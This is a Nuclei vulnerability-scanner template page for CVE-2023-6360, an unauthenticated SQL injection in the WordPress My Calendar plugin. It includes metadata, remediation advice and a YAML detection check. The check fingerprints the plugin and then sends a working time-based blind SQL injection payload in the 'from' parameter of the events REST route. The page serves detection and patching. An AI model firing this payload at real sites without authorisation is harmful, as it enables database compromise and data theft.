WordPress My Calendar <3.4.22 - SQL Injection

ID: CVE-2023-6360

Severity: critical

Author: xxcdd

Tags: cve,cve2023,sqli,wp,wordpress,wpscan,wp-plugin,my-calendar,joedolson

Description

WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the ‘from’ and ‘to’ parameters of the ‘/my-calendar/v1/events’ REST route.

YAML Source

id: CVE-2023-6360

info:
  name: WordPress My Calendar <3.4.22 - SQL Injection
  author: xxcdd
  severity: critical
  description: |
    WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, which could lead to data theft, database compromise, or further attack vectors.
  remediation: Upgrade to My Calendar plugin version 3.4.22 or later.
  reference:
    - https://www.tenable.com/security/research/tra-2023-40
    - https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
    - https://wordpress.org/plugins/my-calendar/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6360
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6360
    cwe-id: CWE-89
    epss-score: 0.00832
    epss-percentile: 0.81991
    cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: joedolson
    product: my_calendar
    framework: wordpress
    fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"'
  tags: cve,cve2023,sqli,wp,wordpress,wpscan,wp-plugin,my-calendar,joedolson

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'My Calendar'

  - raw:
      - |
        @timeout: 20s
        GET /?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "application/json")'
          - 'contains(body, "[]")'
          - 'duration >= 6'
        condition: and
# digest: 4a0a0047304502205686db99109aaac1c4afe7115d5ab8be31e1ba0506a5d125c0154162fe94281f022100843098739fc1220a7ad9314b44fcb8891d7a6bf8335468653b20dab0b0a2e194:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6360.yaml"

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